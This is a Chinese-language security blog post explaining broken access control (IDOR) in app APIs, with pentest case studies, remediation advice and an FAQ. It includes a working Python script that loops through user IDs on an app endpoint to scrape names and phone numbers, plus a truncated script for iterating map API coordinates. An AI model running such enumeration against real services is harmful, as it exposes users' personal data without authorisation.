大模型RAG技术:从入门到实践
遍历API接口地址的深入解析
2025-01-24
漏洞描述
现代应用程序中,API接口的使用变得越来越普遍。然而,很多时候开发者在设计API接口时,对于参数的校验可能并不严格,这可能导致严重的安全隐患。一个常见的漏洞是越权访问,即通过修改请求参数,例如用户ID,可以访问其他用户的信息。
程序通过调用API接口获取数据信息,如果对参数校验不严格,则可能导致越权获取别的账户信息。
案例分析
案例1:APP渗透测试中的越权访问
在一次APP渗透测试中,测试人员发现,通过修改user_id
参数,可以获取其他用户的账户信息。以下是详细步骤:
查看数据包,其中有个参数为user_id
,服务器根据user_id
值回显对应的账号信息。
测试人员尝试修改user_id
值为5,发现对应的账号信息随即变动,说明此处对参数的校验不严格。通过对user_id
值进行遍历,就能够获取所有的账号信息。
编写get_api
脚本,遍历user_id
值,获取账户手机号信息。
获取手机号如下:
案例2:POST请求中的参数遍历
在另一个案例中,通过对POST请求中参数的遍历,可以获取用户的详细信息。以下代码展示了如何利用此漏洞:
import requests
import json
from requests.packages import urllib3
urllib3.disable_warnings()
url = "https://.xxxx.com/api/app/user/getUser"
headers = {
'App': 'ddup',
'Os': 'Android',
'Version': '1.1.7',
'Versioncode': '14',
'Content-Type': 'application/json; charset=utf-8',
'Content-Length': '89',
'Accept-Encoding': 'gzip, deflate',
'User-Agent': 'okhttp/3.14.9'
}
for id in range(1,500):
data = {
"md5":"BBE806AA7B91B1D92DE9FA2AC9EF9DEA",
"token":"",
"tokenId":"",
"version":14,
"id":id
}
try:
res = requests.post(url=url, headers=headers, json=data, verify=False).text
data1 = json.loads(res)
username = data1['response']['userName']
realname = data1['response']['realName']
phone = data1['response']['phone']
sign = data1['response']['userSign']
print("用户名:", username, " 真实姓名:", realname, " 手机号:", phone, " sign:", sign)
print("————————————————————————————————————————————————————————————————")
except:
pass
漏洞危害
这种漏洞的危害在于,可以批量获取个人手机号信息,甚至批量修改账号密码,给用户的隐私和安全带来巨大的威胁。
漏洞修复建议
- 对当前账号及
user_id
值进行匹配校验,防止越权查看其它账号信息。 - 修改密码时,后端程序应对相关账号参数进行严格校验,防止越权密码修改。
API接口的遍历
在API接口的遍历过程中,可能会遇到不同的参数组合。例如,路径规划接口可能会出现Fromx,y;Tox,y
两种参数,需要对所有城市进行遍历。所有城市的坐标经纬度可以通过爬虫从高德地图上爬下来。
#encoding:utf-8
#遍历所有城市路径规划的测试脚本
from xlutils.copy import copy
import urlparse, copy,urllib,xlrd,xlwt,urllib2
from lxml import etree
from hashlib import md5
def url_values_xy(url,fromX,fromY,toX,toY,sign):
ret = []
u = urlparse.urlparse(url)
qs = u.query
pure_url = url.replace('?'+qs, '')
qs_dict = dict(urlparse.parse_qsl(qs))
tmp_dict = copy.deepcopy(qs_dict)
tmp_dict['fromX'] = fromX
tmp_dict['fromY'] = fromY
tmp_dict['toX'] = toX
tmp_dict['toY'] = toY
tmp_dict['sign'] = sign
tmp_qs = urllib.unquote(ur
FAQ
-
问:如何有效防止API接口的越权访问?
- 答:可以通过严格的参数校验和权限验证来防止越权访问,确保只有授权用户才能访问其信息。
-
问:API接口遍历的主要风险是什么?
- 答:主要风险在于数据泄露和安全漏洞的利用,可能导致用户隐私信息的泄露。
-
问:开发者如何识别API接口中的漏洞?
- 答:通过安全测试和代码审查可以识别API接口中的漏洞,特别是对关键参数的处理和验证。
-
问:越权访问漏洞如何对用户产生影响?
- 答:可能导致用户敏感信息泄露,如手机号、地址等,甚至影响用户帐户的安全性。
-
问:API接口设计中有哪些最佳实践?
- 答:确保安全认证,使用HTTPS,限制请求频率,严格验证输入参数,记录和监控API使用情况。
通过对API接口的遍历和漏洞分析,我们可以更好地理解其潜在的安全风险,从而在设计和使用中采取更加谨慎的措施,确保用户数据的安全。
同话题下的热门内容